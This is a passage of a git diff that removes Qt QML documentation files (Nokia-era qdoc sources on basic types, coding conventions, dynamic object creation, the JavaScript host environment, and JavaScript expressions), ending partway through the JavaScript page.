diff options
Diffstat (limited to 'src/qml/doc/src/qml')
19 files changed, 0 insertions, 5398 deletions
diff --git a/src/qml/doc/src/qml/basictypes.qdoc b/src/qml/doc/src/qml/basictypes.qdoc deleted file mode 100644 index 1177a12e94..0000000000 --- a/src/qml/doc/src/qml/basictypes.qdoc +++ /dev/null @@ -1,679 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \page qml-basictypes.html - \ingroup qml-features - \title QML Basic Types - \brief basic data types in QML - - QML has a set of primitive types, as listed below, that are used throughout - the \l {QML Elements}. - - \annotatedlist qmlbasictypes - - To create additional types, such as data types created in C++, read the - \l{C++ Types as QML Types} article. -*/ - -/*! - \qmlbasictype int - \ingroup qmlbasictypes - - \brief An integer is a whole number, e.g. 0, 10, or -20. - - An integer is a whole number, e.g. 0, 10, or -20. The possible \c - int values range from around -2000000000 to around 2000000000, - although most elements will only accept a reduced range (which they - mention in their documentation). - - Example: - \qml - Item { width: 100; height: 200 } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype bool - \ingroup qmlbasictypes - - \brief A boolean is a binary true/false value. - - A boolean is a binary true/false value. - - Example: - \qml - Item { focus: true; clip: false } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype real - \ingroup qmlbasictypes - - \brief A real number has a decimal point, e.g. 1.2 or -29.8. - - A real number has a decimal point, e.g. 1.2 or -29.8. - - Example: - \qml - Item { width: 100.45; height: 150.82 } - \endqml - - \b{Note:} In QML all reals are stored in double precision, \l - {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point} - format. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype double - \ingroup qmlbasictypes - - \brief A double number has a decimal point and is stored in double precision. - - A double number has a decimal point and is stored in double precision, \l - {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point} - format. - - Example: - \qml - Item { - property double number: 32155.2355 - } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype string - \ingroup qmlbasictypes - - \brief A string is a free form text in quotes, e.g. "Hello world!". - - A string is a free form text in quotes, e.g. "Hello world!". - - Example: - \qml - Text { text: "Hello world!" } - \endqml - - Strings have a \c length attribute that holds the number of - characters in the string. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype url - \ingroup qmlbasictypes - - \brief A URL is a resource locator, like a file name. - - A URL is a resource locator, like a file name. It can be either - absolute, e.g. "http://qt.nokia.com", or relative, e.g. - "pics/logo.png". A relative URL is resolved relative to the URL of - the component where the URL is converted from a JavaScript string - expression to a url property value. - - Example: - \qml - Image { source: "pics/logo.png" } - \endqml - - Note that as QML requires URL paths, you should use "qrc:///" instead of ":/" for - referring to files stored with the \l{resources.html}{Qt Resource System}. - Usually you will only have to do this once, because relative URLs resolved from - that file will use the same protocol. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype color - \ingroup qmlbasictypes - - \brief A color is a standard color name in quotes. - - A color is a standard color name in quotes. It is normally specified - as an \l {http://www.w3.org/TR/SVG/types.html#ColorKeywords} {SVG - color name}. These names include colors like "red", "green" and - "lightsteelblue". - - If the color you want isn't part of this list, colors can also be - specified in hexidecimal triplets or quads that take the form \c - "#RRGGBB" and \c "#AARRGGBB" respectively. For example, the color - red corresponds to a triplet of \c "#FF0000" and a slightly - transparent blue to a quad of \c "#800000FF". - - Example: - \div{float-right} - \inlineimage declarative-colors.png - \enddiv - - \snippet qml/colors.qml colors - - Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()}, - \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions: - - \qml - Rectangle { color: Qt.rgba(0.5, 0.5, 0, 1) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype point - \ingroup qmlbasictypes - - \brief A point type has x and y attributes. - - A \c point type has \c x and \c y attributes. - - To create a \c point value, specify it as a "x,y" string: - - \qml - CustomObject { myPointProperty: "0,20" } - \endqml - - Or use the \l{QML:Qt::point()}{Qt.point()} function: - - \qml - CustomObject { myPointProperty: Qt.point(0, 20) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype size - \ingroup qmlbasictypes - - \brief A size type has width and height attributes - - A \c size type has \c width and \c height attributes. - - For example, to read the \l {Image::sourceSize} \c size property: - - \qml - Column { - Image { id: image; source: "logo.png" } - Text { text: image.sourceSize.width + "," + image.sourceSize.height } - } - \endqml - - To create a \c size value, specify it as a "width x height" string: - - \qml - LayoutItem { preferredSize: "150x50" } - \endqml - - Or use the \l{QML:Qt::size()}{Qt.size()} function: - - \qml - LayoutItem { preferredSize: Qt.size(150, 50) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype rect - \ingroup qmlbasictypes - - \brief A rect type has x, y, width and height attributes. - - A \c rect type has \c x, \c y, \c width and \c height attributes. - - For example, to read the \l {Item::childrenRect.x}{Item::childrenRect} \c rect property: - \qml - Rectangle { - width: childrenRect.width - height: childrenRect.height - - Rectangle { width: 100; height: 100 } - } - \endqml - - To create a \c rect value, specify it as a "x, y, width x height" string: - - \qml - CustomObject { myRectProperty: "50,50,100x100" } - \endqml - - Or use the \l{QML:Qt::rect()}{Qt.rect()} function: - - \qml - CustomObject { myRectProperty: Qt.rect(50, 50, 100, 100) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype date - \ingroup qmlbasictypes - - \brief A date is specified as "YYYY-MM-DD". - - To create a \c date value, specify it as a "YYYY-MM-DD" string: - - Example: - \qml - MyDatePicker { minDate: "2000-01-01"; maxDate: "2020-12-31" } - \endqml - - To read a date value returned from a C++ extension class, use - \l{QML:Qt::formatDate()}{Qt.formatDate()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype time - \ingroup qmlbasictypes - - \brief A time is specified as "hh:mm:ss". - - A time is specified as "hh:mm:ss". - - Example: - \qml - MyTimePicker { time: "14:22:15" } - \endqml - - To read a time value returned from a C++ extension class, use - \l{QML:Qt::formatTime()}{Qt.formatTime()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. - - Note that when converting historical times to and from javascript that QDateTime and the JS Date object - have different methods of calculating historical daylight savings time application. This can lead to variations of one hour - when converting to historical local time. - - \sa {QML Basic Types} - */ - -/*! - \qmlbasictype font - \ingroup qmlbasictypes - - \brief A font type has the properties of a QFont. - - A font type has the properties of a QFont. The properties are: - - \list - \li \c string font.family - \li \c bool font.bold - \li \c bool font.italic - \li \c bool font.underline - \li \c real font.pointSize - \li \c int font.pixelSize - \endlist - - Example: - \qml - Text { font.family: "Helvetica"; font.pointSize: 13; font.bold: true } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype action - \ingroup qmlbasictypes - - \brief The action type has all the properties of QAction. - - The action type has all the properties of QAction. The properties - are: - - \list - \li \c slot action.trigger - invoke the action - \li \c bool action.enabled - true if the action is enabled - \li \c string action.text - the text associated with the action - \endlist - - Actions are used like this: - - \qml - Item { - MouseArea { onClicked: myaction.trigger() } - State { name: "enabled"; when: myaction.enabled == true } - Text { text: someaction.text } - } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype list - \ingroup qmlbasictypes - - \brief A list of objects. - - A list type contains a list of objects. While not technically - a basic type, QML supports lists of object types. When used - from QML, the engine automatically appends each value to the list. - Items in the list can be accessed by index using the usual - \c listName[index] syntax. - - For example, the \l Item class contains a list property named - children that can be used like this: - - \qml - Item { - children: [ - Item { id: child1 }, - Rectangle { id: child2; width: 200 }, - Text { id: child3 } - ] - - Component.onCompleted: { - console.log("Width of child rectangle:", children[1].width) - } - } - \endqml - \c child1, \c child2 and \c child3 will be added to the children list - in the order in which they appear. - - List \l {Property Binding}{properties} can be created as a - \c variant type, or as a \c list<Type> type, where \c Type is the - type of the object in the list: - - \qml - Item { - property list<Rectangle> rects: [ - Rectangle { width: 100; height: 100}, - Rectangle { width: 200; height: 200} - ] - } - \endqml - - A list property can only contain values that match (or are derived from) the - specified \c Type. - - While the \c rects property can be reassigned to a different list value (including - an empty list), its individual values cannot be modified. See the \l variant type - documentation for details. - - \sa {QML Basic Types} -*/ - - /*! - \qmlbasictype var - \ingroup qmlbasictypes - - \brief A var type is a generic property type. - - A var is a generic property type capable of storing any data type. - It is equivalent to a regular JavaScript variable. - For example, var properties can store numbers, strings, objects, - arrays and functions: - - \qml - Item { - property var aNumber: 100 - property var aBool: false - property var aString: "Hello world!" - property var anotherString: String("#FF008800") - property var aColor: Qt.rgba(0.2, 0.3, 0.4, 0.5) - property var aRect: Qt.rect(10, 10, 10, 10) - property var aPoint: Qt.point(10, 10) - property var aSize: Qt.size(10, 10) - property var aVector3d: Qt.vector3d(100, 100, 100) - property var anArray: [1, 2, 3, "four", "five", (function() { return "six"; })] - property var anObject: { "foo": 10, "bar": 20 } - property var aFunction: (function() { return "one"; }) - } - \endqml - - It is important to note that changes in regular properties of JavaScript - objects assigned to a var property will \b{not} trigger updates of bindings - that access them. The example below will display "The car has 4 wheels" as - the change to the wheels property will not cause the reevaluation of the - binding assigned to the "text" property: - - \qml - Item { - property var car: new Object({wheels: 4}) - - Text { - text: "The car has " + car.wheels + " wheels"; - } - - Component.onCompleted: { - car.wheels = 6; - } - } - \endqml - - If the onCompleted handler instead had \tt{"car = new Object({wheels: 6})"} - then the text would be updated to say "The car has 6 wheels"., since the - car property itself would be changed, which causes a change notification - to be emitted. - - A \c var type property can also hold an image or pixmap. - A \c var which contains a QPixmap or QImage is known as a - "scarce resource" and the declarative engine will attempt to - automatically release such resources after evaluation of any JavaScript - expression which requires one to be copied has completed. - - Clients may explicitly release such a scarce resource by calling the - "destroy" method on the \c var property from within JavaScript. They - may also explicitly preserve the scarce resource by calling the - "preserve" method on the \c var property from within JavaScript. - For more information regarding the usage of a scarce resource, please - see \l{Scarce Resources in JavaScript}. - - \sa {QML Basic Types} -*/ - - -/*! - \obsolete - \qmlbasictype variant - \ingroup qmlbasictypes - - \brief A variant type is a generic property type. - - A variant is a generic property type. It is obsolete and exists only to - support old applications; new applications should use "var" type - properties instead. - - A variant type property can hold any of the \l {QML Basic Types}{basic type} - values: - - \qml - Item { - property variant aNumber: 100 - property variant aString: "Hello world!" - property variant aBool: false - } - \endqml - - A \c variant type property can also hold an image or pixmap. - A \c variant which contains a QPixmap or QImage is known as a - "scarce resource" and the declarative engine will attempt to - automatically release such resources after evaluation of any JavaScript - expression which requires one to be copied has completed. - - Clients may explicitly release such a scarce resource by calling the - "destroy" method on the \c variant property from within JavaScript. They - may also explicitly preserve the scarce resource by calling the - "preserve" method on the \c variant property from within JavaScript. - For more information regarding the usage of a scarce resource, please - see \l{Scarce Resources in JavaScript}. - - Finally, the \c variant type can also hold: - - \list - \li An array of \l {QML Basic Types}{basic type} values - \li A map of key-value pairs with \l {QML Basic Types}{basic-type} values - \endlist - - For example, below is an \c items array and an \c attributes map. Their - contents can be examined using JavaScript \c for loops. Individual array - values are accessible by index, and individual map values are accessible - by key: - - \qml - Item { - property variant items: [1, 2, 3, "four", "five"] - property variant attributes: { 'color': 'red', 'width': 100 } - - Component.onCompleted: { - for (var i=0; i<items.length; i++) - console.log(items[i]) - - for (var prop in attributes) - console.log(prop, "=", attributes[prop]) - } - } - \endqml - - While this is a convenient way to store array and map-type values, you - must be aware that the \c items and \c attributes properties above are \e not - QML objects (and certainly not JavaScript object either) and the key-value - pairs in \c attributes are \e not QML properties. Rather, the \c items - property holds an array of values, and \c attributes holds a set of key-value - pairs. Since they are stored as a set of values, instead of as an object, - their contents \e cannot be modified individually: - - \qml - Item { - property variant items: [1, 2, 3, "four", "five"] - property variant attributes: { 'color': 'red', 'width': 100 } - - Component.onCompleted: { - items[0] = 10 - console.log(items[0]) // This will still be '1'! - attributes.color = 'blue' - console.log(attributes.color) // This will still be 'red'! - } - } - \endqml - - Additionally, since \c items and \c attributes are not QML objects, changing - their individual values do not trigger property change notifications. If - the above example had \c onNumberChanged or \c onAnimalChanged signal - handlers, they would not have been called. If, however, the \c items or - \c attributes properties themselves were reassigned to different values, then - such handlers would be called. - - One way to "update" the contents of an array or map is to copy the property - to a JavaScript object, modify the copy as desired, and then reassign the - property to the updated copy. Note, however, that this is not efficient. - In the example below, which reassigns the \c attributes property, the \e entire - set of key-value pairs must be serialized and deserialized every time it is - copied between a JavaScript object and a QML property: - - \qml - Item { - property variant attributes: { 'color': 'red', 'width': 100 } - - Component.onCompleted: { - // Change the value of attributes.color to 'blue': - var temp = attributes // copy all values to 'temp' - temp.color = 'blue' - attributes = temp // copy all values back to 'attributes' - } - } - \endqml - - Since this operation is inefficient, if a list or map should be modifiable, - it is better to use alternative approaches. For example, you could implement - a custom C++ list element, or write to a JavaScript object defined from - within a JavaScript file. - - JavaScript programmers should also note that when a JavaScript object is - copied to an array or map property, the \e contents of the object (that is, - its key-value properties) are copied, rather than the object itself. The - property does not hold a reference to the original JavaScript object, and - extra data such as the object's JavaScript prototype chain is also lost in - the process. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype vector3d - \ingroup qmlbasictypes - - \brief A vector3d type has x, y, and z attributes. - - A \c vector3d type has \c x, \c y, and \c z attributes. - - To create a \c vector3d value, specify it as a "x,y,z" string: - - \qml - Rotation { angle: 60; axis: "0,1,0" } - \endqml - - or with the \l{QML:Qt::vector3d()}{Qt.vector3d()} function: - - \qml - Rotation { angle: 60; axis: Qt.vector3d(0, 1, 0) } - \endqml - - or as separate \c x, \c y, and \c z components: - - \qml - Rotation { angle: 60; axis.x: 0; axis.y: 1; axis.z: 0 } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype enumeration - \ingroup qmlbasictypes - - \brief An enumeration type consists of a set of named values. - - An enumeration type consists of a set of named values. - - An enumeration value may be specified as either a string: - \qml - Text { horizontalAlignment: "AlignRight" } - \endqml - - or as \c {<Element>.<value>}: - \qml - Text { horizontalAlignment: Text.AlignRight } - \endqml - - The second form is preferred. - - \sa {QML Basic Types} -*/ diff --git a/src/qml/doc/src/qml/codingconventions.qdoc b/src/qml/doc/src/qml/codingconventions.qdoc deleted file mode 100644 index 89a1bd8cb3..0000000000 --- a/src/qml/doc/src/qml/codingconventions.qdoc +++ /dev/null @@ -1,126 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-coding-conventions.html -\title QML Coding Conventions -\brief code style convention - -This document contains the QML coding conventions that we follow in our documentation and examples and recommend that others follow. - -\section1 QML Objects - -Through our documentation and examples, QML objects are always structured in the following order: - -\list -\li id -\li property declarations -\li signal declarations -\li JavaScript functions -\li object properties -\li child objects -\li states -\li transitions -\endlist - -For better readability, we separate these different parts with an empty line. - - -For example, a hypothetical \e photo QML object would look like this: - -\snippet qml/codingconventions/photo.qml 0 - - -\section1 Grouped Properties - -If using multiple properties from a group of properties, -we use the \e {group notation} rather than the \e {dot notation} to improve readability. - -For example, this: - -\snippet qml/codingconventions/dotproperties.qml 0 - -can be written like this: - -\snippet qml/codingconventions/dotproperties.qml 1 - - -\section1 Private Properties - -QML and JavaScript do not enforce private properties like C++. There is a need -to hide these private properties, for example, when the properties are part of -the implementation. As a convention, private properties begin with two -\e underscore characters. For example, \c __area, is a property that is -accessible but is not meant for public use. Note that QML and JavaScript will -grant the user access to these properties. - -\snippet qml/codingconventions/private.qml 0 - - -\section1 Lists - -If a list contains only one element, we generally omit the square brackets. - -For example, it is very common for a component to only have one state. - -In this case, instead of: - -\snippet qml/codingconventions/lists.qml 0 - -we will write this: - -\snippet qml/codingconventions/lists.qml 1 - - -\section1 JavaScript Code - -If the script is a single expression, we recommend writing it inline: - -\snippet qml/codingconventions/javascript.qml 0 - -If the script is only a couple of lines long, we generally use a block: - -\snippet qml/codingconventions/javascript.qml 1 - -If the script is more than a couple of lines long or can be used by different objects, we recommend creating a function and calling it like this: - -\snippet qml/codingconventions/javascript.qml 2 - -For long scripts, we will put the functions in their own JavaScript file and import it like this: - -\snippet qml/codingconventions/javascript-imports.qml 0 - -*/ - - - - - - - - - diff --git a/src/qml/doc/src/qml/dynamicobjects.qdoc b/src/qml/doc/src/qml/dynamicobjects.qdoc deleted file mode 100644 index f5a47b8915..0000000000 --- a/src/qml/doc/src/qml/dynamicobjects.qdoc +++ /dev/null @@ -1,217 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-dynamicobjects.html -\ingroup qml-features -\title Dynamic Object Management in QML -\brief instantiating and managing QML objects - -QML provides a number of ways to dynamically create and manage QML objects. -The \l{Loader}, \l{Repeater}, \l{ListView}, \l{GridView} and \l{PathView} elements -all support dynamic object management. Objects can also be created and managed -from C++, and this is the preferred method for hybrid QML/C++ applications -(see \l{Using QML Bindings in C++ Applications}). - -QML also supports the dynamic creation of objects from within JavaScript -code. This is useful if the existing QML elements do not fit the needs of your -application, and there are no C++ components involved. - -See the \l {declarative/toys/dynamicscene}{Dynamic Scene example} for a demonstration -of the concepts discussed on this page. - - -\section1 Creating Objects Dynamically - -There are two ways to create objects dynamically from JavaScript. You can either call -\l {QML:Qt::createComponent()}{Qt.createComponent()} to dynamically create -a \l Component object, or use \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} -to create an item from a string of QML. -Creating a component is better if you have an existing component defined in a \c .qml -file, and you want to dynamically create instances of that component. Otherwise, -creating an item from a string of QML is useful when the item QML itself is generated -at runtime. - - -\section2 Creating a Component Dynamically - -To dynamically load a component defined in a QML file, call the -\l {QML:Qt::createComponent()}{Qt.createComponent()} function in the -\l {QmlGlobalQtObject}{Qt object}. -This function takes the URL of the QML file as its only argument and creates -a \l Component object from this URL. - -Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of -the component. This function can take one or two arguments: -\list -\li The first is the parent for the new item. Since graphical items will not appear on the scene without a parent, it is - recommended that you set the parent this way. However, if you wish to set the parent later you can safely pass \c null to - this function. -\li The second is optional and is a map of property-value items that define initial any property values for the item. - Property values specified by this argument are applied to the object before its creation is finalized, avoiding - binding errors that may occur if particular properties must be initialized to enable other property bindings. - when certain properties have been bound to before they have been set by the code. Additionally, there are small - performance benefits when compared to defining property values and bindings after the object is created. -\endlist - -Here is an example. First there is \c Sprite.qml, which defines a simple QML component: - -\snippet qml/Sprite.qml 0 - -Our main application file, \c main.qml, imports a \c componentCreation.js JavaScript file -that will create \c Sprite objects: - -\snippet qml/createComponent.qml 0 - -Here is \c componentCreation.js. Notice it checks whether the component \l{Component::status}{status} is -\c Component.Ready before calling \l {Component::createObject()}{createObject()} -in case the QML file is loaded over a network and thus is not ready immediately. - -\snippet qml/componentCreation.js vars -\codeline -\snippet qml/componentCreation.js func -\snippet qml/componentCreation.js remote -\snippet qml/componentCreation.js func-end -\codeline -\snippet qml/componentCreation.js finishCreation - -If you are certain the QML file to be loaded is a local file, you could omit the \c finishCreation() -function and call \l {Component::createObject()}{createObject()} immediately: - -\snippet qml/componentCreation.js func -\snippet qml/componentCreation.js local -\snippet qml/componentCreation.js func-end - -Notice in both instances, \l {Component::createObject()}{createObject()} is called with -\c appWindow passed as an argument so that the created object will become a child of the -\c appWindow item in \c main.qml. Otherwise, the new item will not appear in the scene. - -When using files with relative paths, the path should -be relative to the file where \l {QML:Qt::createComponent()}{Qt.createComponent()} is executed. - -To connect signals to (or receive signals from) dynamically created objects, -use the signal \c connect() method. See -\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals} -{Connecting Signals to Methods and Signals} for more information. - -It is also possible to instantiate components without blocking via the -\l {Component::incubateObject()}{incubateObject()} function. - -\section2 Creating an Object from a String of QML - -If the QML is not defined until runtime, you can create a QML item from -a string of QML using the \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} function, as in the following example: - -\snippet qml/createQmlObject.qml 0 - -The first argument is the string of QML to create. Just like in a new file, you will need to -import any types you wish to use. The second argument is the parent item for the new item; -this should be an existing item in the scene. The third argument is the file path to associate -with the new item; this is used for error reporting. - -If the string of QML imports files using relative paths, the path should be relative -to the file in which the parent item (the second argument to the method) is defined. - - -\section1 Maintaining Dynamically Created Objects - -When managing dynamically created items, you must ensure the creation context -outlives the created item. Otherwise, if the creation context is destroyed first, -the bindings in the dynamic item will no longer work. - -The actual creation context depends on how an item is created: - -\list -\li If \l {QML:Qt::createComponent()}{Qt.createComponent()} is used, the creation context - is the QQmlContext in which this method is called -\li If \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} - if called, the creation context is the context of the parent item passed to this method -\li If a \c {Component{}} item is defined and \l {Component::createObject()}{createObject()} - or \l {Component::incubateObject()}{incubateObject()} is called on that item, - the creation context is the context in which the \c Component is defined -\endlist - -Also, note that while dynamically created objects may be used the same as other objects, they -do not have an id in QML. - - -\section1 Deleting Objects Dynamically - -In many user interfaces, it is sufficient to set an item's opacity to 0 or -to move the item off the screen instead of deleting the item. If you have -lots of dynamically created items, however, you may receive a worthwhile -performance benefit if unused items are deleted. - -Note that you should never manually delete items that were dynamically created -by QML elements (such as \l Loader and \l Repeater). Also, you should avoid deleting -items that you did not dynamically create yourself. - -Items can be deleted using the \c destroy() method. This method has an optional -argument (which defaults to 0) that specifies the approximate delay in milliseconds -before the object is to be destroyed. - -Here is an example. The \c application.qml creates five instances of the \c SelfDestroyingRect.qml -component. Each instance runs a NumberAnimation, and when the animation has finished, calls -\c destroy() on its root item to destroy itself: - -\table -\row -\li \c application.qml -\li \c SelfDestroyingRect.qml - -\row -\li \snippet qml/dynamicObjects-destroy.qml 0 -\li \snippet qml/SelfDestroyingRect.qml 0 - -\endtable - -Alternatively, the \c application.qml could have destroyed the created object -by calling \c object.destroy(). - -Note that it is safe to call destroy() on an object within that object. Objects are not destroyed the -instant destroy() is called, but are cleaned up sometime between the end of that script block and the next frame -(unless you specified a non-zero delay). - -Note also that if a \c SelfDestroyingRect instance was created statically like this: - -\qml -Item { - SelfDestroyingRect { - // ... - } -} -\endqml - -This would result in an error, since items can only be dynamically -destroyed if they were dynamically created. - -Objects created with \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} -can similarly be destroyed using \c destroy(): - -\snippet qml/createQmlObject.qml 0 -\snippet qml/createQmlObject.qml destroy -*/ diff --git a/src/qml/doc/src/qml/hostenvironment.qdoc b/src/qml/doc/src/qml/hostenvironment.qdoc deleted file mode 100644 index b0d9118944..0000000000 --- a/src/qml/doc/src/qml/hostenvironment.qdoc +++ /dev/null @@ -1,92 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlhostenvironment.html -\title QML JavaScript Host Environment - -QML provides a JavaScript host environment tailored to writing QML applications. -This environment is different from the host environment provided by a browser -or a server-side JavaScript environment such as Node.js. For example, QML does -not provide a \c window object or \c{DOM API} as commonly found in a browser environment. - -\section1 Common Base - -Like a browser or server-side JavaScript environment, the QML runtime implements the -\l{ECMA-262}{ECMAScript Language Specification} standard. This provides access to -all of the built-in types and functions defined by the standard, such as Object, Array, and Math. -The QML runtime implements the 5th edition of the standard, which is the same edition commonly -implemented by browsers. - -The standard ECMAScript built-ins are not explicitly documented in the QML documentation. For more -information on their use, please refer to the ECMA-262 5th edition standard or one of the many online -JavaScript reference and tutorial sites, such as the \l{W3Schools JavaScript Reference} (JavaScript Objects -Reference section). Many sites focus on JavaScript in the browser, so in some cases you may need to double -check the specification to determine whether a given function or object is part of standard ECMAScript or -specific to the browser environment. In the case of the W3Schools link above, the \c{JavaScript Objects -Reference} section generally covers the standard, while the \c{Browser Objects Reference} and \c{HTML DOM -Objects Reference} sections are browser specific (and thus not applicable to QML). - -\section1 Host Objects and Functions - -The QML JavaScript host environment implements the following host objects and functions: - -\list -\li The \l{QmlGlobalQtObject}{Qt object}: This object is specific to QML, and provides helper methods - and properties specific to the QML environment. -\li qsTr(), qsTranslate(), qsTrId(), QT_TR_NOOP(), QT_TRANSLATE_NOOP(), and QT_TRID_NOOP() functions: - These functions are specific to QML, and provide \l{Translation}{translation capabilities} to the QML environment. -\li gc() function: This function is specific to QML, and provides a way to manually trigger garbage collection. -\li print() function: This function is specific to QML, and provides a simple way to output information to the console. -\li The \l{Console API}{console object}: This object implements a subset of the \l{http://getfirebug.com/wiki/index.php/Console_API}{FireBug Console API}. -\li \l{XMLHttpRequest}, DOMException: These objects implement a subset of the \l{http://www.w3.org/TR/XMLHttpRequest/}{W3C XMLHttpRequest specification}. -\endlist - -See \l{QML Global Object} for more details on these host objects and functions. - -\section1 Native Object Modification - -QML makes the following modifications to native objects: - -\list -\li An arg() function is added to the String prototype. -\li Locale-aware coversion functions are added to the \l{Date} and \l{Number} prototypes. -\endlist - -\section1 Restrictions - -QML implements the following restrictions for JavaScript code: - -\list -\li JavaScript code cannot modify the global object. -\li Global code is run in a reduced scope. -\li The value of \c this is undefined in QML in the majority of contexts. -\endlist - -See \l {QML JavaScript Restrictions} for more details on these restrictions. - -*/ diff --git a/src/qml/doc/src/qml/javascriptblocks.qdoc b/src/qml/doc/src/qml/javascriptblocks.qdoc deleted file mode 100644 index f5bcca3a5a..0000000000 --- a/src/qml/doc/src/qml/javascriptblocks.qdoc +++ /dev/null @@ -1,562 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-javascript.html -\ingroup qml-features -\title JavaScript Expressions in QML -\brief adding logic to QML applications with JavaScript - -\code - -This article is a work-in-progress. - -\endcode - -JavaScript adds logic to QML components. Properties can bind -to JavaScript expressions or reside inline in functions or signal handlers. The -\l{The QML Engine}{QML engine} will then interpret the expression to calculate new -property values or to execute a routine. - -The \l{JavaScript Runtime}{JavaScript runtime} can run valid standard -JavaScript constructs such as conditional operators, arrays, variable setting, -loops. In addition to the standard JavaScript properties, the \l {QML Global -Object} includes a number of helper methods that simplify building UIs and -interacting with the QML environment. - -The JavaScript environment provided by QML is stricter than that in a web -browser. In QML you cannot add, or modify, members of the JavaScript global -object. In regular JavaScript, it is possible to do this accidentally by using a -variable without declaring it. In QML this will throw an exception, so all local -variables should be explicitly declared. - - -\section1 Adding Logic - -The \l {QML Elements} provide a declarative way of creating and managing the -interface layout and scene. Binding properties or signal handlers to JavaScript -expressions adds logic to the QML application. - -Suppose that a button represented by a Rectangle element has a MouseArea and a -Text label. The MouseArea will call its \l{MouseArea::}{onPressed} handler when the user presses the defined interactive area. The QML engine will execute the -contents bound to the onPressed and onReleased handlers. Typically, a signal -handler is bound to JavaScript expressions to initiate other events or to simply -assign property values. - -\code -Rectangle { - id: button - width: 200; height: 80; color: "lightsteelblue" - - MouseArea { - id: mousearea - anchors.fill: parent - - onPressed: { - label.text = "I am Pressed!" - } - onReleased: { - label.text = "Click Me!" - } - - } - - Text { - id: label - anchors.centerIn: parent - text: "Press Me!" - } -} -\endcode - -During startup, the QML engine will set up and initialize the property -bindings. The JavaScript conditional operator is a valid property binding. - -\code -Rectangle { - id: colorbutton - width: 200; height: 80; - - color: mousearea.pressed ? "steelblue" : "lightsteelblue" - - MouseArea { - id: mousearea - anchors.fill: parent - } -} -\endcode - -\section2 